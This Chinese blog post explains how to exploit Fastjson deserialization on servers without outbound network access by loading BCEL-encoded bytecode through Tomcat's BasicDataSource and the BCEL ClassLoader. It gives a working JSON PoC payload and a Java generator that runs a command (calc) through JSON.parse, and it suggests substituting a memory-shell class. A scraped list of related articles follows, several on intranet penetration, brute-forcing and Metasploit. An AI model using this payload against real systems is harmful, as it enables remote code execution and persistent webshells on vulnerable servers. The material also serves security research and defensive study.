Java安全之Fastjson内网利用

0x00 前言

在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是

JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况就没办法使用该链去执行命令。JdbcRowSetImpl 链分析

但在看到kingx师傅的一篇[Java动态类加载,当FastJson遇到内网]后,陷入了沉思。

0x01 BCEL字节码

这用到的是BCEL字节码然后使用classload进行加载。但是思考到一个问题,为什么是使用BCEL也不是直接使用TemplatesImpl链去做本地的命令执行呢?其实前文中提到过这TemplatesImpl的漏洞触发点会有限制。调用parseObject()方法时,需要加入Feature.SupportNonPublicField参数。

而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader 的loadclass方法中可以进行bcel字节码的加载。

 protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null; /* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
} if(cl == null) {
JavaClass clazz = null; /* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
} if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
} if(resolve)
resolveClass(cl);
} classes.put(class_name, cl); return cl;
}

判断是否为$$BCEL$$的话则调用createClass方法,否则调用modifyClass方法返回一个class,modifyClass方法则是调用自带的classloader来加载。

来看到createClass方法

protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8); JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo"); clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}

截取$$BCEL$$字节后面的内容然后进行解密,解密为class字节码,调用defineClass进行加载字节码。

com.sun.org.apache.bcel.internal.classfile.Utility包中有BCEL字节码的解密和解密方法。

String s =  Utility.encode(data,true);

byte[] bytes  = Utility.decode(s, true);

0x02 利用链

添加tomcat依赖

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>

来看到poc

{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

使用该poc加载bcel字节码。详细可移步到[Java动态类加载,当FastJson遇到内网]

编写一个test类

package com;

import java.io.IOException;

public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(test.class);
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码 String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}

需要打内存马替换为内存马class即可。

在tomcat8以后和tomcat7的版本存在一点小差异

tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource

0x03 结尾

即便如此我个人依然觉得fastjson并不能算是一个利用比较舒服的洞。而在实际中遇到更多的可能只是去进行反弹shell利用,需要使用becl必须考虑到fastjson版本问题。或在利用RMI/LDAP的话也会有JDK版本限制。

Java安全之Fastjson内网利用的更多相关文章

  1. JAVA获取访问者的内网IP地址

    /** * 获取访问者内网IP * @return the server ip */ public static String getIntranetIp() { // 本地IP,如果没有配置外网IP ...

  2. 【微信Java开发 --1】内网穿透外网,使用外网域名可以访问到本地项目

    1.首先上https://natapp.cn/ 2.接下来在网站申请账号 3.购买免费隧道 4.为你的免费隧道设置名称以及端口号,由于本人本地的使用Tomcat做服务器,所以用惯了8080端口,因此设 ...

  3. 利用Metasploit 打入ThinkPHP内网...

    出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图   Metasploi ...

  4. Linux内网环境DNS修改域名指向,JAVA应用程序能否实时切换的问题总结

    公司内网环境中许多调用资源(数据库.web接口等)都是通过内网DNS服务来进行域名-IP的映射. 但经常出现DNS映射修改完毕后,应用中连接的资源迟迟没有变更. 以前一直笼统的认为是linux的dns ...

  5. [原创]利用Browser协议探测内网主机操作系统版本(无需端口无视防火墙)

    利用Browser协议可获取机器IP.MAC.机器名.操作系统.域,如图 浏览 在SMB协议中,计算机为了访问网络资源,就需要了解网络上存在的资源列表(例如在Windows下使用网络邻居查看可以访问的 ...

  6. SpringBoot之解决云服务器VPS在所处云端集群的内网不能解析域名的问题:java.net.UnknownHostException:abc.cn: Temporary failure in name resolution

    一.起因与原因分析过程 前端小伙伴儿告诉我,说服务器崩了. 请求数据接口,接口有响应,但报的json提示指向:数据库异常错误. 遂登陆云主机查看日志,核心记录显示如下: 2018-11-09 22:1 ...

  7. [转帖]利用hydra(九头蛇)暴力破解内网windows登录密码

    利用hydra(九头蛇)暴力破解内网windows登录密码 https://blog.csdn.net/weixin_37361758/article/details/77939070 尝试了下 能够 ...

  8. 利用端口映射解决:拥有公网IP有限,内网需要访问因特网

    动态端口映射:   内网中的一台电脑要访问新浪网,会向NAT网关发送数据包,包头中包括对方(就是新浪网)IP.端口和本机IP.端口,NAT网关会把本机IP.端口替换成自己的公网IP.一个未使用的端口, ...

  9. 利用iptables的NAT代理实现内网访问外网

    利用NAT代理实现内网访问外网 背景及原理 若局域网中的两台计算机只能有一台能够访问外网,而这两台计算机之间能相互通信,那么可以配置能访问外网的那台服务器实现路由器的功能,即实现其他机器的NAT转换, ...

随机推荐

  1. Python 基础教程 —— Pandas 库常用方法实例说明

    目录 1. 常用方法 pandas.Series 2. pandas.DataFrame ([data],[index])   根据行建立数据 3. pandas.DataFrame ({dic})  ...

  2. Spring Security + OAuth2 + JWT 基本使用

    Spring Security + OAuth2 + JWT 基本使用 前面学习了 Spring Security 入门,现在搭配 oauth2 + JWT 进行测试. 1.什么是 OAuth2 OA ...

  3. BUAA OS实验调试指南:从看懂到看开

    一般的调试流程其实很简单:发现问题,稳定复现,确定临界条件,定位问题,修复问题,核查结果.迭代这个过程,形成一个闭环 老实说,OS的实验代码,开箱体验极差,程序跳来跳去,进了Lab4后还要考虑内核态切 ...

  4. [MySQL数据库之数据库相关概念、MySQL下载安装、MySQL软件基本管理、SQL语句]

    [MySQL数据库之数据库相关概念.MySQL下载安装.MySQL软件基本管理.SQL语句] 数据库相关概念 数据库管理软件的由来 数据库管理软件:本质就是个C/S架构的套接字程序. 我们在编写任何程 ...

  5. Java集合详解(三):LinkedList原理解析

    概述 本文是基于jdk8_271源码进行分析的. LinkedList底层是基于链表实现.链表没有长度限制,内存地址不需要固定长度,也不需要是连续的地址来进行存储,只需要通过引用来关联前后元素即可完成 ...

  6. [DB] mysql windows 安装

    参考 mysql安装 https://www.cnblogs.com/zhangkanghui/p/9613844.html navicat for mysql 中文破解版(无需激活码) https: ...

  7. Centos7.4永久修改系统时间

    [root@V3B01-zsy yum.repos.d]# date -s "2019-09-24 17:02:30" 2019年 09月 24日 星期二 17:02:30 CST ...

  8. vue相关面试知识点总结

    vue v-for循环中为什么要用key?为什么index不能作为key? key 的特殊 attribute 主要用在 Vue 的虚拟 DOM 算法,在新旧 nodes 对比时辨识 VNodes.如 ...

  9. l初识CSRF(跨站请求伪造)

    一 CSRF是什么 CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常 ...

  10. DHCP与DHCP中继

    DHCP原理与配置 1. DHCP应用场景 2. DHCP报文类型 3. DHCP工作原理 4. IP地址获取与释放 5. DHCP中继配置 1. DHCP应用场景 在大型企业网络中,会有大量的主机或 ...